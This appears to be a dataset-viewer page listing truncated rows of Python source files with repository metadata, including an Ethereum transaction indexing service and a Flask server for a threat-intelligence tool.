from sqlite3 import dbapi2 as sqlite
class SQLiteFile(object):
"""Class for handling the parsing s... | 29.428571 | 79 | 0.68568 |
79664eeda3ebe0bee1d9916295ad8c913854bb43 | 8,202 | py | Python | safe_transaction_service/history/services/index_service.py | rsksmart/safe-transaction-service | 7697ed54d5a68e8fd81b1738e9b5ee4b5265ef0e | [
"MIT"
] | null | null | null | safe_transaction_service/history/services/index_service.py | rsksmart/safe-transaction-service | 7697ed54d5a68e8fd81b1738e9b5ee4b5265ef0e | [
"MIT"
] | 2 | 2021-06-09T17:58:44.000Z | 2021-06-10T19:42:32.000Z | safe_transaction_service/history/services/index_service.py | rsksmart/safe-transaction-service | 7697ed54d5a68e8fd81b1738e9b5ee4b5265ef0e | [
"MIT"
] | 1 | 2021-07-05T21:55:50.000Z | 2021-07-05T21:55:50.000Z | import logging
from typing import List, NoReturn, OrderedDict, Union
from django.db import transaction
from hexbytes import HexBytes
from gnosis.eth import EthereumClient, EthereumClientProvider
from ..models import (EthereumBlock, EthereumTx, InternalTxDecoded,
MultisigConfirmation, MultisigT... | 48.247059 | 120 | 0.665691 |
79664f79d3e0ac05868733783eae8a9e29de6b13 | 23,765 | py | Python | server/run.py | jddocea/threatminer-for-sdl | 7c24411c8a2bd0acc7123c9b65ff2ee89f50db1e | [
"MIT"
] | 7 | 2018-07-13T06:03:24.000Z | 2020-09-26T01:58:59.000Z | server/run.py | jddocea/threatminer-for-sdl | 7c24411c8a2bd0acc7123c9b65ff2ee89f50db1e | [
"MIT"
] | 2 | 2019-03-20T15:19:36.000Z | 2019-03-22T02:01:52.000Z | server/run.py | jddocea/threatminer-for-sdl | 7c24411c8a2bd0acc7123c9b65ff2ee89f50db1e | [
"MIT"
] | 5 | 2018-08-29T18:55:32.000Z | 2021-02-18T10:44:37.000Z | from flask import Flask, jsonify, request
from flask_jwt import JWT, jwt_required, current_identity
from werkzeug.security import safe_str_cmp
from flask_cors import CORS
from scripts.restMethods import *
from scripts.flask_httpauth import *
import os
import sys
import json
import bcrypt
import datetime
JWT_EXPIRATION... | 25.664147 | 310 | 0.705155 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.